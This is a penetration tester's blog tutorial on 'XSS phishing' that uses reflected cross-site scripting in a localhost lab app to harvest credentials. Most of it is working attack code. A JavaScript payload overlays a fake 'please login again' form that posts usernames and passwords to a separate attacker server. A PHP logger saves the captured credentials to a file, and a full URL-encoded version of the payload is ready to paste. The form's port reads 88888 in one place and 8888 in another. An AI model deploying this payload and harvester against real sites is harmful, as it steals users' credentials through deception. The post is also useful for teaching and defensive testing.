XSS Phishing for Fun and Credentials!

Since it came up in a recent conversation, I figured I would share an XSS phishing technique!

XSS Phishing – Introduction

If you’ve never seen it before, XSS phishing is a common vector for weaponizing reflected cross-site scripting.

It can come in a variety of forms, but I’m going to show an example of credential harvesting using it.

Vulnerable Application

First, I’ll reuse part of my vulnerable application from the XSS Attack Chain.

In this case, all I need is the search page to demonstrate this payload.

<?php
    $query = $_GET['q'];
    echo "<i>Your search query is $query</i>"
?>

XSS Phishing - Vulnerable Application

Exploit

First, I’ll need to confirm that the page is vulnerable to XSS.

In this case, I’ll use a simple alert payload:

http://localhost:1234/?q=%3Cscript%3Ealert(1)%3C/script%3E

As you can see, the alert fires off.

XSS Phishing - Alert

XSS Phishing – Payload and Credential Capture

First, to capture credentials, I needed to create a malicious JavaScript payload.

You can find the payload below, but it does the following things:

  • Create an opaque background to put emphasis on the “pop-up”.
  • Display a modal login form with an error message.
  • Submit the credentials back to a different site (in this case, the attacker).
  • Create a cookie so the payload can only be fired off once.
  • Redirect the user back to a valid page. In this case, the redirect goes to a valid search.
<script>
    var html = `
<div id=\"bg\" style=\"position: absolute; z-index: 100; width: 100%; height: 100%; background-color: #000000; opacity: 0.5; top: 0; left: 0; margin: 0\">
</div>
<div id=\"form\" style=\"position: absolute; z-index: 150; font-family: Arial; background-color: #ffffff; width: 280px; height: 185px; top: 50%; left: 40%; padding: 10px\">
    <p>An error occurred. Please login again.</p>
    <form method=\"POST\" action=\"http://localhost:88888/login.php\">
        <p>Username <input type=\"text\" name=\"username\"></p>
        <p>Password <input type=\"password\" name=\"password\"></p>
        <p><input type=\"submit\" value=\"Login\"></p>
    </form>
</div> `;

    var expire = new Date();
    expire.setFullYear(expire.getFullYear() + 1);
    var cookie = "runonce=true; path=/; expires=" + expire.toUTCString();
    var div = document.createElement("div");
    if (document.cookie.indexOf("runonce=") < 0) {
        div.innerHTML = html;
        document.getElementsByTagName("body")[0].appendChild(div);
        document.cookie = cookie;
    }
</script>

In addition to the malicious JavaScript, we need a page at login.php to capture the user’s credentials.

<?php
  $log = "creds.txt";
  $date = date("Y-m-d h:i:s A");
  $username = $_POST["username"];
  $password = $_POST["password"];
  $file = fopen("$log", "a+");
  fputs($file, "$date | USERNAME: $username | PASSWORD: $password\n");
  header( 'Location: http://localhost:1234/?q=test');
?>

The Attack

First, I URL encoded the XSS payload to make it easier to paste in a URL.

%3Cscript%3E%0A%20%20%20%20var%20html%20%3D%20%60%0A%3Cdiv%20id%3D%5C%22bg%5C%22%20style%3D%5C%22position%3A%20absolute%3B%20z%2Dindex%3A%20100%3B%20width%3A%20100%25%3B%20height%3A%20100%25%3B%20background%2Dcolor%3A%20%23000000%3B%20opacity%3A%200%2E5%3B%20top%3A%200%3B%20left%3A%200%3B%20margin%3A%200%5C%22%3E%0A%3C%2Fdiv%3E%0A%3Cdiv%20id%3D%5C%22form%5C%22%20style%3D%5C%22position%3A%20absolute%3B%20z%2Dindex%3A%20150%3B%20font%2Dfamily%3A%20Arial%3B%20background%2Dcolor%3A%20%23ffffff%3B%20width%3A%20280px%3B%20height%3A%20185px%3B%20top%3A%2050%25%3B%20left%3A%2040%25%3B%20padding%3A%2010px%5C%22%3E%0A%20%20%20%20%3Cp%3EAn%20error%20occurred%2E%20Please%20login%20again%2E%3C%2Fp%3E%0A%20%20%20%20%3Cform%20method%3D%5C%22POST%5C%22%20action%3D%5C%22http%3A%2F%2Flocalhost%3A8888%2Flogin%2Ephp%5C%22%3E%0A%20%20%20%20%20%20%20%20%3Cp%3EUsername%20%3Cinput%20type%3D%5C%22text%5C%22%20name%3D%5C%22username%5C%22%3E%3C%2Fp%3E%0A%20%20%20%20%20%20%20%20%3Cp%3EPassword%20%3Cinput%20type%3D%5C%22password%5C%22%20name%3D%5C%22password%5C%22%3E%3C%2Fp%3E%0A%20%20%20%20%20%20%20%20%3Cp%3E%3Cinput%20type%3D%5C%22submit%5C%22%20value%3D%5C%22Login%5C%22%3E%3C%2Fp%3E%0A%20%20%20%20%3C%2Fform%3E%0A%3C%2Fdiv%3E%20%60%3B%0A%0A%20%20%20%20var%20expire%20%3D%20new%20Date%28%29%3B%0A%20%20%20%20expire%2EsetFullYear%28expire%2EgetFullYear%28%29%20%2B%201%29%3B%0A%20%20%20%20var%20cookie%20%3D%20%22runonce%3Dtrue%3B%20path%3D%2F%3B%20expires%3D%22%20%2B%20expire%2EtoUTCString%28%29%3B%0A%20%20%20%20var%20div%20%3D%20document%2EcreateElement%28%22div%22%29%3B%0A%20%20%20%20if%20%28document%2Ecookie%2EindexOf%28%22runonce%3D%22%29%20%3C%200%29%20%7B%0A%20%20%20%20%20%20%20%20div%2EinnerHTML%20%3D%20html%3B%0A%20%20%20%20%20%20%20%20document%2EgetElementsByTagName%28%22body%22%29%5B0%5D%2EappendChild%28div%29%3B%0A%20%20%20%20%20%20%20%20document%2Ecookie%20%3D%20cookie%3B%0A%20%20%20%20%7D%0A%3C%2Fscript%3E

Next, I visited the malicious URL and verified that the payload worked.

XSS Phishing - Fake Login Prompt

When the error message popped up, I entered in some credentials to the box, similar to the way that a user would.

I was able to view the post to login.php, so the logger was able to capture the credentials.

root@kali:~/xss# php -S localhost:8888
PHP 7.2.4-1 Development Server started at Tue Apr 24 13:52:09 2018
Listening on http://localhost:8888
Document root is /root/xss
Press Ctrl-C to quit.
[Fri Apr 27 20:40:32 2018] ::1:54596 [302]: /login.php

Finally, when I opened the log file, I was able to viewed the user’s stolen credentials!

2018-04-27 08:40:32 PM | USERNAME: admin | PASSWORD: SuperSecretPassw0rd

XSS Phishing – Conclusion

Hopefully this was a useful example of actually weaponizing XSS.

I still have a few more filter avoidance posts in the pipeline, so stay tuned for those.

Let me know if you have any other XSS ideas, exploits, or payloads!

doyler on Githubdoyler on Twitter
doyler
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he's done it all. To show for it, he has obtained an OSCP, eCPPT, eWPT, eWPTX, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!

He currently serves as a Senior Penetration Testing Consultant for Secureworks. His previous position was a Senior Penetration Tester for a major financial institution.

When he's not figuring out what cert to get next (currently GXPN) or side project to work on, he enjoys playing video games, traveling, and watching sports.

Leave a Comment

Filed under Security Not Included

Leave a Reply

Your email address will not be published. Required fields are marked *

*